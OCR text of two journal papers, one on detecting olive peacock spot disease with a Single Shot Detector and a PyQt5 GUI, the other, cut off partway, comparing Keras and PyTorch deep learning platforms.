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Abstract

Among the artificial intelligence based studies conducted in the field of agriculture, disease
recognition methods founded on deep learning are observed to become widespread. Due to the
diversity and regional specificity of many plant species, studies performed in this field are not at the
desired level. Olive peacock spot disease of the olive plant which grows only in certain regions in the
world is a widely encountered disease particularly in Turkey. The aim of this research is to develop an
olive peacock spot disease detection system using a Single Shot Detector (SSD) which is one the
popular deep learning architectures to support olive farmers. This study presents a data set consisting
of 1460 olive leaves samples for the detection of olive peacock spot disease. All of the images of the
olive leaves which produced under controlled conditions were collected from Aegean region of
Turkey during spring and summer. The data set was trained with different intersection over union
(loV) threshold values using SSD architecture. A 96% average precision (AP) value was obtained with
loU=0.5. As IOU value goes up from 0.5, erroneously classified olive peacock spot disease symptoms
growed larger as well. The AP curve becomes flat when between 0.1 and 0.5, and it decreases when
greater than 0.5. This analysis showed that the loU significantly influenced the performance of SSD
based model in detection of olive peacock spot disease. In addition to, trainings were performed by
employing Pytorch library and a GUI was developed for the SSD based application using PyQt5
which is one of Pyhton's libraries. Results showed that the SSD was a robust tool for recognizing the
olive peacock spot disease.

Keywords: olive peacock spot, single shot detector, deep learning, object detection

Single Shot Detector Kullanarak Otomatik Zeytin Halkah Leke
Hastaligi Tanima Sistemi Gelistirilmesi

Oz

Tarim alaninda gergeklestirilen yapay zekd temelli galigmalar arasinda, derin 6grenmeye dayanan
hastalik tespiti uygulamalarinin giderek yayginlastigi goriilmektedir. Bitki tiirleri arasindaki g¢esitlilik
ve ¢ogu bitki tiirliniin belirli cografyalarda yetismesi bu alanda gergeklestirilen ¢alismalarin sayisinin
istenen diizeyde olmadigim gostermektedir. Diinyada sadece belirli bolgelerde yetisen zeytin bitkisine
ait halkali leke hastalig1 ozellikle Tiirkiye’de yaygin olarak goriilmektedir. Bu ¢alismanin amaci,
zeytin ciftcilerini desteklemek igin populer derin 6grenme mimarilerinden birisi olan Single Shot
Detector (SSD) kullanarak zeytin halkali leke hastaligini tespit sistemi gelistirmektir. Bu ¢alismada
zeytin halkali leke hastaliginin tespiti i¢in 1460 adet zeytin yapragi Ornegini igeren veri seti
olusturulmustur. Kontrollii kosullar altinda iiretilen tiim zeytin yaprak goriintiileri ilkbahar ve yaz
donemlerinde Tiirkiye’nin Ege bolgesinden toplanmustir. Veri seti, SSD mimarisi tizerinde farkli IoU
treshold degerleri ile egitilmistir. ToU=0.5 i¢in %96 diizeyinde Average Precision (AP) degeri elde
edilmistir. IOU degeri 0.5’den yukar1 dogru gittikge, diisiis hatali olarak siniflandirilan olive peacock
spot semptomu sayisinin arttigir goriilmiistir. AP egrisi 0.1 ile 0.5 arasindayken diiz hale gelir ve
0.5’den biiyiik oldugunda azalir. Bu analiz loU’nun zeytin halkali leke hastaliginin tespitinde SSD
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temelli modelin performansimi 6nemli sekilde etkiledigini gostermektedir. Ayrica egitimler Pytorch
kiitliphanesi kullanilarak gergeklestirildi ve Python kiitliphanelerinden biri olan PyQt5 kullanilarak
SSD tabanli uygulama i¢in bir GUI gelistirildi. Sonuglar, SSD’nin olive peacock spot hastaliginin
taninmasi i¢in gii¢lii bir ara¢ oldugunu géstermistir.

Anahtar Kelimeler: zeytin halkali leke, single shot detector, derin 6grenme, nesne tespiti

1. Introduction

In recent years, significant improvements in dealing with problems such as classification, object
detection and object segmentation were accomplished using architectures developed in the area of
deep learning. As a consequence of these accomplishments, current literature surveys indicate an
increase in the number of the studies directed at solving these problems through agricultural
applications. Agricultural object detection studies can be said to be concentrating on problems such as
visual fruit detection [1], disease detection [2], yield estimation via UAV photography [3] and regional
disease identification [4]. Timely and accurate recognition of the disease is of great importance in the
fight against plant diseases. Research studies found in the literature show that in recent years,
Convolutional Neural Network (CNN) techniques have outperformed in the detection of the diseases
of various plants. In the study carried out by Ozguven and Adem [5], automatic recognition of the leaf
spot disease found in sugar beet was performed at three different significance levels using Faster R-
CNN architecture. An accuracy rating of up to 95 % was obtained in the classfication and detection of
the disease by training a data set comprising of 155 images. In their study, Selvaraj et al. [6] formed a
data set of pests and diseases belonging to banana plant collecting images from various regions in
Africa and India. Object detection of 18 different classes of diseases and pests was performed using
three different CNN architectures consisting of Faster R-CNN InceptionVV2, Faster R-CNN ResNet50
and SSD MobileNetV1. As a result of the study, accuracy scores exceeding 90% were obtained in
most of the models employed. Li, et al. [7], on the other hand, achieved a mean Accuracy Precision
(mAP) score of 0.885 as a result of trainings for the detection of plant pests utilizing ZFNet, AlexNet
and ResNet architectures. Fuentes et al. [8] carried out a study on the detection of the diseases and
pests of the tomato plant using Faster R-CNN, R-FCN and Single Shot Detector (SSD) architectures.
The data set contained approximately 5000 images belonging to 10 different disease and pest classes.
Data augmentation was implemented in the study and training results obtained from unaugmented data
sets were compared. Consequently, success rate of the disease and pest detection was found to be
higher for the augmented data set. Polder et al. [9] compared classical machine learning techniques
with deep learning techniques based on Faster R-CNN architecture in order to detect lesions caused by
a virus affecting tulip plants. According to the findings of this study, the utilized techniques were
found to be almost the same in terms of their performances. Rong et al. [10] developed a system based
on UNET architecture that separated walnut and foreigns objects from each other in real-time by a
conveyor mechanism set-up by themselves. Findings with regards to accuracy and processing time
were obtained in the segmentation and detection of foreign objects. Accordingly, an accuracy
performance score of 95% was obtained in the object segmentation and detection processes carried out
in durations less than 50 ms. Bhatt et al. [11] developed a YOLO architecture based disease and pest
detection application for a data set of tea plants created under uncontrolled conditions. As a result of
the study, a mAP score of 0.86 was obtained.

While diseases of some plants are detected, difficulties in accessing field experts and clinics are
experienced due to the challenging conditions of the geographical regions where these plants are
grown [12]. For this reason, popularization of computer vision applications for the detection of the
diseases of some certain plants growing in certain geographical regions are of great importance.
Turkey is among the leading countries in the world in the production of olive plant grown in certain
geographies with an annual output of 183 thousand tonnes [13]. As is the case with all of the plants,
olive diseases specific to the geography where it is grown can be observed. Olivepeacock spot is
among the widespread olive diseases seen in Turkey. The disease leading to premature leaf abscission
and branch death causes significant yield drops [14]. Cruz et al. [15] conducted a study on the
classification of healthy and diseased olive leafs affected by Olive Quick Decline Syndrome which
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was explored in Italy and caused great damage. An accuracy score of 98.6% was obtained in the study
that employed transfer learning method. In another study [16], a classfication success score of 99%
was obtained by a model developed for the detection of 14 different diseases found on the trunks,
leaves and fruits of olive plant using AlexNet architecture.

The requirement to conduct more studies on the olive plant has become obvious due to the large
number of olive plant diseases and observation of different diseases varying in accordance with
geographical regions. The limited number of studies in the literature on olive plant are found to be
directed on the solution of classification problem. This study focused on the solution of an object
detection problem directed on the identification of olive peacock spot disease widely seen in Turkey
on the olive plant leaves. In line with this objective, a data set of 1460 olive leaves having olive
peacock spot disease and collected under controlled conditions was created. Trainings were performed
using SSD architecture and a program was developed visualizing detection of the diseased areas via a
GUI. Object classification processes were also performed for the olive peacock spot disease even
though in limited numbers. Nevertheless, to our knowledge, this study has the property of being the
first object detection study conducted for the olive peacock spot disease.

2. Structure of SSD Architecture

R-CNN [17] and other similar architectures used in the CNN based deep learning applications are the
architectures that run dependent on region proposal. High computational cost associated with region
proposal process particularly leads to unsatisfactory results with respect to time in the object detection
with real time applications. SSD architecture [18] produces more successful results in terms of time
compared to R-CNN and similar architectures especially for the real time applications. VGG16
architecture should first be mentioned when the SSD architecture is examined. Because, the SSD
architecture is based on the VGG16 architecture which provides less feature maps. In recent years,
architectures that have been successful in solving object detection and object classification problems
by being trained with images reaching millons in number have become prominent in Image Net
challenges. One of these architectures is the VGG net architecture [19] that has two versions as
VGG166 and VGG19. The VGG16 architecture seen in Figure 1 encompasses 13 convolution layers.
These layers are divided into five blocks each having either two or three layers. Each block is
complemented with a pooling layer that simplifies image outputs generated as a result of the
convolution process. The last three layers are comprised of fully connected layers where classification
tasks are perfomed and class scores are identified using neural network processes.
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Figure 1. VGG16 architecture

Architectures successful in image classification such as VGG16 have currently learned at a good level
smaller features such as lines and curves as the basic components of an image. For this reason, using
the features of a model already proven to be succesful in the newly designed model instead of training
it from scratch has a significant effect to increase the model's success rate [20]. An approach similar to
this situation expressed as transfer learning was used in the SSD architecture and the structure in the
VGG16 architecture has formed the backbone of the SSD architecture.

As seen in Figure 2, since the fullyconected layers used in VGGL16 architecture have become
redundant in the SSD architecture, last fully connected layer has totally not been included into the
model and the first two fully connected layers have been reworked in the conv6 and conv7 layers.
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Convolution layers outside VGG16 are expressed as extra feature layers in the SSD architecture.
Stride was decreased from 2 to 1 during the pooling process residing at the 5th layer of the VGG16
architecture and filter size was determined as 3x3 instead of 2x2. With this process, prevention of the
sizes of the featuremaps to be decreased by half at the previous convolution layer was aimed.
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Figure 2. SSD architecture

3. Material and Method

Data set creation constitutes the first stage of the processes of the recognition of olive peacock spot
disease found in olive leaf using the SSD architecture. Samples obtained were prepared being labelled
under controlled conditions with assistance received from the experts. Then the process of coding
some important stages in the SSD model where samples in the data set were trained was initiated. In
the first place, default boxes were created on images. Then the functions required to match ground-
truth objects with the default boxes were created. In the study, the model that was set up was trained
with threshold values ranging between 0.1 and 0.9 for loU and best AP values were recorded pursuing
the trainings. At the last stage, a desk top application of the study was developed in order to facilitiate
access of the trained final model for different users. All of the stages of the study were examined in
detail in the following subsections.

3.1.Dataset Description

In this study, an open source data set created by Uguz and Uysal [21] was used. In their study, a total
of 1460 images were collected from olive groves in Aegean region of Turkey, in order to deal with the
object detection problem directed at identification of the olive peacock spot disease, a common olive
disease in Turkey, on the olive leaves. All of the images of the olive leaves were produced under
controlled conditions by being photographed on a mono color. In this way, model's processing speed
and accuracy rating were aimed to be increased by making the model not to include objects irrelevant
with the study into the feature map. Later, olive peacock spot areas on olive leaves were labeled with a
program called "labeling™ with the assistance of an agricultural engineer expert in the field. Some of
the leaf images in the data set are depicted in Figure 3.

S iy I VO

Figure 3. Sample images in the data set
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3.2. Creation of the Default Boxes on Images

In the classification problems, which class an image belongs to is determined in accordance with the
result predicted by the network. For example, if the images in the data set are divided into two groups
as those having olive peacock spot disease and those not having olive peacock spot disease, then the
result predicted by the network will fall into one of these two classes. But object detection problems
entail a more complex task to be fulfilled. Because, in these problems, there could be multiple objects
residing on an image. Along with the determination of the locations of these objects with the help of
bounding boxes, which class the object lying inside the bounding box belongs to should also be
predicted.

Each convolution layer in SSD architecture consists of different feature map dimensions the largest of
which is 38x38 belonging to conv4 3. Default boxes with different aspect ratios and sizes were
created at each convolution layer in order to ensure best selection of the objects residing on an image.
In Figure 4, conv8_2 layer that has 10x10 feauture map dimension is depicted. For each of the 100
locations, 6 default boxes having different aspect ratios and sizes were created. Thus, a total of 600
default boxes are produced for only Conv8_2. Center coordinates of the default box are denoted by c,
and c,, while w and h represent the width and height of the default box respectively. The dimensions
of the default boxes in each location can be calculated using the expressions in Figure 4 where k =
1,..,K ,S, and a, denote k™ feature layer, scale of the default boxes and aspect ratio respectively.
The number of default boxes produced on all of the convolution layers for SSD 300 turns out to be
8732 as stated in Figure 2.

0,0) Cx

® “ ‘h

conv8_2

Smax — ‘:min (.k ~1)

| Sk = Suin + K —

Figure 4. Creation of the default boxes

3.3. Matching Default Boxes with Ground-Truth Object

At this stage of the study, matching of the default boxes at each location of the convolution layers to
the ground-truth object is carried out. Matching process is done in accordance with the result of the
operation defined as loU (intersection over union) or Jaccard Index. As observed in the expression in
Figure 5, l1oU is calculated as the ratio of the intersection of the ground truth and default box to their
union. loU value ranges between 0 and 1 and loU=1 means a perfect overlap of the boxes [7]. The
ground truth object expressed with A in Figure 5 is the labeled form of the olive peacock spot
symptom. B, C, and D on the other hand represent 3 defaultboxes generated in the convolution layers.
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For instance, while the loU ratio to be calculated for A and B is seen to take a value close to 1, the loU
ratio to be calculated for A and C or for A and D is seen to take a value close to zero. While object
recognition problems are dealt with in SSD, default boxes lower than the 0.5 threshold value are
expressed as negative matching and ignored in the classfication predictions to decrease computational
cost. Therefore, only the default boxes lying above the 0.5 threshold value and hence expressed as
positive matching are used in classification predictions. In this case, only the default box B is going to
be used in classification prediction.

In this study, classification performances were compared not only with respect to the 0.5 threshold
value but also by conducting experiments with other threshold values as well. This comparison is
examined in detal in Section 4.

ANB
T AUB

O
o
P o -

L BRR L e i L

Figure 5. Matching of default boxes with ground-truth
3.4.Training Objective

In the object detection with SSD, localization loss between ground truth and default box and
confidence loss belonging to the object lying inside default box take an important place. While the
objective function is written considering only the positive matchings, weighted sum of these two loss
criteria are taken into account. Expression xf’j denotes j ground truth that matches i default box of

classp . xfj = 1 indicates a match , while xl?’j = 0 on the other hand indicates that there is no match.
As observed in the localization loss function in Equation 1, score of false match between ground-truth
(g) and default box (1) is computed using smooth L1 loss function. Thus, the offsets are regressed to

find the center (cx, cy) of the default box (d) along with its width (w) and height (h) [22].

N
Lot bg)= Y Y xbsmoothy, (I - g7 ®

i€ePos me{cx,cy,w,h}

g\qx — (g]C_x — dicx) gcy — (g;y - dlcy)
J d:'v Jj dlh
w
where gy =log (d_fw>
i
h
g.
N j
)

0.5 x2, if lx] <1

ds th,, = {
NG SMOOtL = 1x| = 05,  otherwise
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With N denoting the number of default boxes that matched, confidence loss expression which is used
in the class prediction and calculated as soft max loss can be written as in Equation 2.

N

Leons(x,¢) = — Z xipj log(é) 2)

i€Pos

14
where ¢° L(ci)p
2y exp(cl. )
After L;,. and L.,,s are defined final objective function for SSD can be expressed as in Equation 3.
The parameter « in the equation is the weight value used in balancing the contribution of localization

loss.

1
L(x! G l! g) = N(Lconf(x: C) ta Lloc(x! l! g)) (3)

4. Findings and Discussion

Trainings in the automatic disease identification system developed using the SSD architecture were
performed by employing Pytorch 1.3 library. With respect to hardware, Google Colab cloud service
was utilized during the model trainings. Model trainings were performed using Tesla K80 GPUs. In
the studies focusing on plant diseases, the number of applications realized either developing desktop,
mobile or web based applications are observed to be quite inadegaute. Dissemination of the realized
application as a packaged software would undoubtedly facilitate a much better utilization for the olive
producers. Subsequently, in this study, a GUI was developed for the SSD based application using
PyQt5 which is one of Pyhton's libraries. In the software screen seen in Figure 6, when the images
registered in the system are selected from the File menu, Original Image is opened. Simultaneously, in
the Object Detected Image section, peacock spots detected by the model trained on the image are
displayed. Process time elapsed and the number of detected symptoms can be seen on the screen as
well.

File Help

Original Image Object Detected Image

Frame Sizes : 800 x 600 Number of Detected Spots

Process Time : 1.75 sec

Figure 6. GUI software developed for the detection olive peacock spot disease
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For the performance evaluation of object detection problems, it is observed that different performance
evaluation criteria are used in challenges such as PASCAL VOC, ImageNet and COCO. In this study,
AP (average precision) score which is commonly used in the literature [6,11,23] as a performance
evaluation criterion in the detection of plant diseases has been employed.

The probability of an object to be inside of a default box is expressed by confidence score. Each
default box on the image is marked as TP or FP. Then, the precision and recall values of each are
calculated as ordered according to the confidence scores. The percentage of correctly predicted ones
among the detected objects is obtained with the precision criterion seen in Equation 4. Recall in
Equation 5 gives the percentage of correctly detected ground truths among all of the ground truths
[24].

TP
recision = 4)
TP
- 5
Recall TPTFN (5)

The behavior of a model can be adjusted trying different threshold values for the confidence score.
While Precision-Recall curve provides information on a single model's performance, performances of
multiple object detectors can also be compared by creating many precision call curves on the same
graph. However, in this case, since the model curves can mesh on each other, AP (Average Precision)
score which helps performance to be expressed quantitatively could be used.

Maximum precision scores obtained for each ' > r where r represents 11 points between 0 and 1
were chosen as recall ( r ) values of the precision recall curve in PASCAL VOC 2008 challenge.
Then, average of these presicion scores are taken to calculate AP score (Equation 6).

pinterp (T) = rﬂgi(p(r’) (6)

For PASCAL VOC 2010 and later challenge, just as in the previous formulation, maximum precision
scores obtained for each ' > r were chosen for the precision recall curve. However, the distinction is
that all unique r values are treated in the formulation.

n-1

AP =) (s = 1) Pinterp (i) ™
i=1

where pinterp(ri+1) = max p(r")
T 2Ti4q

AP value provides performance information for only one class. Therefore, performance can be
measured by calculating mAP which is the average of all AP values for all of the classes in the model.
Nevertheless, since object detection for only one disease type was carried out in this study,
performance evaluation was not performed using only AP score. loU threshold values in the study
were determined so as to remain between 0.1 and 0.9 and experiments encompassing the trainings for
each value were performed.

In Figure 7, loU values obtained for each threshold value used are seen. When the graph is examined,
it is observed that overlapping ratios of manually labelled symptoms (ground truths) of the olive
peacock spot disease and the default boxes and accuracy ratio for the correct localization of the
symptoms are observed to increase as the chosen loU value increases. A downward trend is observed
in the matchings of groundtruths and defaultboxes as the loU assumes values higher than 0.5. This
decline also indicates that the number of erroneously classified olive peacock spot disease syptoms
grow larger as well. AP score reaches 96 % when loU = 0.5. It is believed that the study has made a
significant contribution to literature as the model trained with SSD architecture detected syptoms of
the olive peacock spot disease at sufficiently high precision scores.
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Figure 7. AP results obtained for different loU values

It is observed that there is quite limited number of studies on the detection of olive plants diseases
dealt with in the study. This study differs from the studies of Cruz, et al. [15] and Alruwaili, et al. [16]
with regards to the type of the disease detected and the CNN architectures employed. On of the
diseases Alruwaili, et al. [16] endeavoured to detect was olive peacock spot. But their study was on
object classification not on object detection. In the studies of the authors, a 90.2% classification
precision score was obtained. Another study carried out by Cruz, et al. [15] on olive plant diseases
also focused on the subject of classification. Their study diverges from this study concerning the type
of the detected disease and the development of a web-based application instead of a desktop
application.

5. Results and Proposals

In this study an application was developed for the detection of the symptoms of the olive peacock
spot, a disease widely seen in Turkey on olive plants, using Single Shot Detector which is one of the
popular deep learning architectures. A new data set was created on our own means by collecting 1460
images under controlled conditions from the olive groves of the Aegean region in Turkey. In the study
directed at object detection, trainings were performed for different loU values in Single Shot Detector
architecture which produces fast detection results especially for real time applications and the results
were discussed using the average precision evaluation criterion. Accordingly, a 96 % AP value was
obtained for loU=0.5. A downward trend was observed for values higher than this threshold value.

In order to make the study available for the stakeholders as well, a desk top application was
developed. In this way, people who selected a leaf image on the application had the chance of seeing
both the disease symptoms and also the process time.

At later stages, alternatives to turn the developed software into a web-based or a mobile application
can be considered. In this study, images were obtained under controlled conditions to get better results
in terms of speed. However, especially those researchers interested in developing a real-time mobile
application have to conduct their works on uncontrolled images. Moreover, in this case, the number of
images that should be processed in the trainings should be much higher.

The study was conducted on the detection of only one disease. Among the disease types of the olive
plant, various diseases seen on the fruit, leaves or branches such as Anthracnose, Canker, Lepra Fruit
Rot, Parlatoria Oleae and Aspidiotus Nerii can also examined in the studies. However, since some
diseases can be specific to some regions, obtaining them might not be an easy task. Hence, the crucial

166



Sakarya UniversityJournal of Computerand Information Sciences

Sinan Uguz

point is to be able to obtain the images belonging to those diseases. For this reason, every study on the
detection of plant diseases and every original data set are considered valuable.

Success rate can be expected to decrease as the number of the diseases wanted to be detected in the
experiments conducted for the same type of plant is increased. Because, it is possible for the diseases
of the same type of plant to exhibit symptoms similar to each other. Due to lower probabilities of
succes, future studies to be conducted on this area are considered valuable.

Just as in human health, early diagnosis of the diseases of the agricultural products during their
growing stage is very important. Detection of a disease at an early stage may help the farmers take the
appropriate measures and thus reduse the associated costs. In the literature survey conducted, it is seen
that applications directed at detection, as in this study, were developed after the disease occurred. It is
considered that it would be more effective if the new research studies were designed according to the
stages of the disease.
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Abstract

Deep learning, a subfield of machine learning, has proved its efficacy on a wide range of applications including
but not limited to computer vision, text analysis and natural language processing, algorithm enhancement,
computational biology, physical sciences, and medical diagnostics by producing results superior to the state-of-
the-art approaches. When it comes to the implementation of deep neural networks, there exist various state-of-the-
art platforms. Starting from this point of view, a qualitative and quantitative comparison of the state-of-the-art
deep learning platforms is proposed in this study in order to shed light on which platform should be utilized for
the implementations of deep neural networks. Two state-of-the-art deep learning platforms, namely, (i) Keras, and
(i) PyTorch were included in the comparison within this study. The deep learning platforms were quantitatively
examined through the models based on three most popular deep neural networks, namely, (i) Feedforward Neural
Network (FNN), (ii) Convolutional Neural Network (CNN), and (iii) Recurrent Neural Network (RNN). The
models were evaluated on three evaluation metrics, namely, (i) training time, (ii) testing time, and (iii) prediction
accuracy. According to the experimental results, while Keras provided the best performance for both FNNs and
CNNs, PyTorch provided the best performance for RNNs expect for one evaluation metric, which was the testing
time. This experimental study should help deep learning engineers and researchers to choose the most suitable
platform for the implementations of their deep neural networks.

Keywords: deep learning, deep neural networks, feedforward neural networks, convolutional neural
networks, recurrent neural networks

En Geliskin Derin (")grenme Platformlarinin Bir Karsilastirmasi:
Deneysel Bir Calisma

Oz

Makine 6grenmesinin bir alt alani olan derin 6grenme, bilgisayarli gorii, metin analizi ve dogal dil isleme,
algoritma iyilestirme, hesaplamali biyoloji, fen bilimleri ve hastalik teshisi alanlartyla sinirli olmamak kaydiyla
cok cesitli uygulamalar {izerindeki etkinligini en geligkin yaklasimlardan daha basarili sonuglar iireterek
kanitlamigtir. Derin sinir aglarmin gerceklestiriminde gesitli en geliskin platformlar mevcuttur. Bu noktadan
hareketle, derin sinir aglarin ger¢eklestiriminde hangi platformun kullanilmasi gerektigine 151k tutmak amaciyla
en geliskin derin 6grenme platformlarinin nitel ve nicel bir karsilastirmasi bu ¢alismada 6ne siiriilmiistiir. Bu
calisma kapsamindaki karsilagtirmaya iki en geliskin derin 6grenme platformu, isim olarak, (i) Keras ve (ii)
PyTorch dahil edilmistir. Derin 6grenme platformlar1 en popiiler ii¢ derin sinir ag1 olan (i) ileri Beslemeli Sinir
Ag1 (FNN), (ii) Evrisimli Sinir Ag1 (CNN) ve (iii) Tekrarlayan Sinir Ag1 (RNN) temelli modeller iizerinden
incelenmistir. Modeller, (i) egitim siiresi, (ii) test siiresi ve (iii) tahmin dogrulugu olmak iizere {i¢ degerlendirme
kriteri kullanilarak degerlendirilmistir. Elde edilen deneysel sonuglara gore hem FNN hem de CNN’ler i¢in en iyi
performansi Keras saglarken, RNN’ler icin bir degerlendirme kriteri (test siiresi) disinda en iyi performansi
PyTorch saglamigtir. Bu deneysel calisma, derin 6grenme miihendisleri ve arastirmacilarinin kendi derin 6grenme
aglarinin gergeklestiriminde en uygun platformun se¢imi noktasinda yardim etmesi gerekmektedir.

Anahtar Kelimeler: derin 6grenme, derin sinir aglari, ileri beslemeli sinir aglari, evrisimli sinir aglari,
tekrarlayan sinir aglari
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1. Introduction

Deep learning, a subfield of machine learning, is the application of multi-layered neural networks to
perform learning tasks such as classification, regression, clustering, and auto-encoding. Deep learning
has been a revolution for various learning tasks including but not limited to computer vision [1], medical
diagnostics [2], text analysis and natural language processing (NLP) [3], algorithm enhancement,
computational biology, and physical sciences [4] due to its efficacy in approximating and reducing huge
datasets into highly accurate predictive and transformational output [5], [6]. Deep learning has even
exceeded human abilities in areas such as handwriting and image recognition [7], [8]. Unlike the
traditional machine learning techniques, deep learning architectures are flexible enough to be applied to
different types of data, be they visual, audio, numerical, text, or some combination of them [4]. Despite
that the fundamentals of the deep learning techniques were originally proposed in the 1980s, the rise in
popularity of it can be traced back to only the last few years due to the following reasons: (i) The greater
availability of big data, which has significantly improved learning ability of deep neural networks,
thanks to the rise of smartphones, social media applications, and embedded sensors, (ii) the efficient
use of graphical processing units (GPUs), and (iii) the discovery of the new architectures as well as new
techniques to improve the performance of models such as ReLU, Batch Normalization, and Dropout [4],
[9]-{14]. When it comes to implementation of deep neural networks, there exist various highly-popular,
state-of-the-art platforms, which do have similar qualitative abilities, such as Keras [15], PyTorch [16],
Caffe [17], Theano [18], and the Microsoft Cognitive Toolkit (CNTK) [19]. Therefore, which one should
be utilized to implement a deep neural network is a question that instinctively comes to mind for the
researchers, and developers and is needed to be addressed. To this end, a comparison, that both
quantitatively and qualitatively compare the state-of-the-art deep learning platforms, was proposed in
this study. This experimental study should help deep learning engineers and researchers to choose the
most suitable platform for the implementations of their deep neural networks. The rest of the paper is
structured as follows: Section 2 describes the related work. Section 3 presents the material and method.
Section 4 presents the experimental results and discussion. Finally, Section 5 concludes the paper with
future directions.

2. Related Work

Liu et al. [20] benchmarked three state-of-the-art deep learning platforms, namely, TensorFlow [21],
Caffe, and Torch [22]. The evaluation metrics they used were accuracy, runtime performance, and the
model’s robustness against different datasets. They highlighted three observations from their
experiments: (i) The deep learning platforms are optimized for the built-in datasets with their default
configuration. Hence, the efficacy might vary on a custom dataset. (ii) The efficacy might vary on the
dataset that was used for the experiments. (iif) Benchmarking deep learning platforms is significantly
more challenging than traditional performance-driven benchmarking.

Bahrampour et al. [23] proposed a comparative study of Caffe, neon [24], Theano, and Torch for deep
learning tasks. The three aspects they utilized were: (i) extensibility, (ii) hardware utilization, and (iii)
speed, which includes both gradient computation time (a.k.a. training time) and forward time (a.k.qa.
testing time). According to their experimental result, Torch provided the best performance for any deep
neural network architecture on CPU. When it comes to performance on GPU, the conclusions were two-
fold: (i) Torch provided the best performance for large convolutional and fully connected networks, and
(it) Theano provided the best performance for LSTM (Long Short-Term Memory) networks.

Shi et al. [25] benchmarked four state-of-the-art deep learning platforms, namely, Caffe, CNTK,
TensorFlow, and Torch for three types of neural networks, namely, (i) Feedforward Neural Network
(FNN), (ii) Convolutional Neural Network (CNN), and (iii) Recurrent Neural Network (RNN). They
evaluated the aforementioned deep learning platforms based on their running time performance.
According to their experiments, they concluded that there is no single platform that consistently
outperforms others. For the FNNs, Torch provided the best performance on CPU. When it comes to the
performances of FNNs on GPU, Caffe, and CNTK provided the best performance. For the CNNs, while
Caffe provided the best performance on a quad-core desktop CPU with 4 threads, TensorFlow provided
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the best performance on a server CPU with 16 threads. When it comes to the performances of CNNs on
GPU, the best performance varies through the CNN model. For the RNNs, CNTK provided the best
performance both on CPU and GPU. Also, they noted that the performances of the deep neural networks
generally do not scale very well on many-core CPUs and 10 — 30X speedup was observed when the
best GPU result was compared to the best CPU result.

Chintala [26], an Artificial Intelligence (Al) research engineer at Facebook, proposed an extensive set
of benchmarks for a variety of CNN models and benchmarked Torch, TensorFlow, and Caffe. The
experiments were carried on a machine with the following hardware configuration: 6-core Intel Core
i7-5930K @ 3.50GHz CPU, and NVIDIA Titan X GPU. According to the experimental result, Torch
provided the best performance among the others for the AlexNet [7] CNN model.

Theano development team [18] benchmarked the Theano with TensorFlow, and Torch on three LSTM
models as follows: (i) The small model consists of a single 200-unit hidden layer with a sequence length
of 20, (ii) the medium model consists of a single 600-unit hidden layer with a sequence length of 40,
and (iii) the large one consists of two 650-unit hidden layers with a sequence length of 50. The
experiments were carried on a machine with the following hardware configuration: 6-core Intel Core
i7-5930K @ 3.50GHz CPU, and NVIDIA Digits DevBox with 4 Titan X GPUs. All models were
evaluated on the Penn Treebank dataset [27]. The evaluation metric was the processing speed, which
includes both the forward and backward passes. According to the experimental result, while TensorFlow
provided the best performance for the small LSTM model, Theano provided the best performance for
both the medium and large LSTM models. Torch provided the worst performance for all models.

Shatnawi et al. [28] benchmarked CNTK, TensorFlow, and Theano using CNNs on two gold standard
datasets, namely, MNIST (Mixed National Institute of Standards and Technology) [29], and CIFAR-10
[30]. According to the experimental result, CNTK provided the best performance among the others in
terms of CPU and GPU multithreading, but in CIFAR-10 using 8, 16, and 32 threads in CPU,
TensorFlow was found as faster than CNTK. Theano was found as the slowest among the others.

Kovalev et al. [31] benchmarked Theano (with Keras wrapper), TensorFlow, Caffe, Torch, and
Deeplearning4j [32] for FNNs. The evaluation metrics were processing speed, classification accuracy,
and the number of lines of source code. According to the experimental result, the aforementioned deep
learning platforms were ranked as follows: Theano, TensorFlow, Caffe, Torch, and Deeplearning4j. In
addition to this, they reported that the employment of the non-linear activation function Rectified Linear
Unit (ReLU) instead of the tanh activation function improved the performances of FNNs in terms of
both training speed and classification accuracy.

3. Material and Method

In this section, the deep learning platforms and the benchmarking setup were described in the following
subsections.

3.1 Deep Learning Platforms

The properties of deep learning platforms such as the programming languages they are implemented in,
supported programming languages, NVIDIA CUDA Deep Neural Network (cuDNN) [33] support, which
is a GPU-accelerated library of primitives for deep neural networks that provides significant speed and
space benefits [34], and CPU and GPU support vary through the platforms. Table 1 lists the properties
of the widely-used, state-of-the-art deep learning platforms, namely, Keras, PyTorch, Caffe, Theano,
and CNTK. Each deep learning platform is briefly described in the following paragraphs.

Keras. Keras is a widely-used, open-source deep learning library implemented in Python. Keras
provides an easy-to-use, developer-friendly API to implement deep neural network architectures. Keras
was originally developed by a Google engineer and aims easy and fast prototyping [15]. Unlike the other
aforementioned platforms, Keras is not a standalone deep learning platform as it runs on the top of

171



Sakarya University Journal of Computer and Information Sciences

Abdullah Talha Kabakus

various backends, namely, TensorFlow, Theano, and CNTK. TensorFlow was employed as the backend
of Keras within this study since it is the recommended one by its developer [35].

PyTorch. PyTorch is another widely-used, open-source deep learning library implemented in Python.
PyTorch is backed by Facebook Al Research and behaves like a Python API for the Torch engine, which
is written in Lua programming language and initially only had bindings in Lua [36]. While PyTorch
retains the flexibility of interfacing with C and the current speed of the Torch engine, it has some big
advantages such as recurrent nets, weight sharing, and memory usage [37]. Another advantage of
PyTorch compared to Torch comes from being a Python library as 78% of over 23,000 data scientists
recommended Python for an aspiring data scientist to learn in a recent survey [38]. As a natural
consequence of this, all the deep learning platforms, that are included in this study, provide a Python
APIL. Moreover, some of them, namely, Keras, PyTorch, and Theano, are actually implemented in
Python.

Caffe. Caffe is an open-source deep learning library implemented in Python. Caffe is developed by the
Berkeley Vision and Learning Center (BVLC) and is implemented in C++. It is reported that Caffe is
able to process 40 million images per day which equals almost 2.5 ms per image when it is accelerated
by a single NVIDIA K40 or Titan GPU [17]. It is worth to mention that the next version of Caffe, Caffe2,
has become a part of PyTorch in 2018 [39].

Theano. Theano is an open-source deep learning library implemented in Python and developed by Mila
Research Institute as a compiler for mathematical expressions that optimize and evaluate the expressions
in the syntax of NumPy [40], which is a widely-used Python library that provides multi-dimensional
arrays and matrices, and a large collection of high-level mathematical functions to operate on these data
structures. Theano is in a maintenance mode as its developers declared that they stopped the
development of new features [41].

CNTK. CNTK is an open-source deep learning library implemented in C++ and developed by Microsofi
Research. The developers of CNTK report that CNTK efficiently removes the duplicated computations
in forward and backward passes, uses minimal memory, and reduces memory reallocation by reusing
them [42]. CNTK provides APIs in both Python and C# programming languages. It is worth to mention
that, similar to Theano, there are no plans for new feature development for CNTK since its latest stable
release, 2.7, which was released in April 2019 [43].

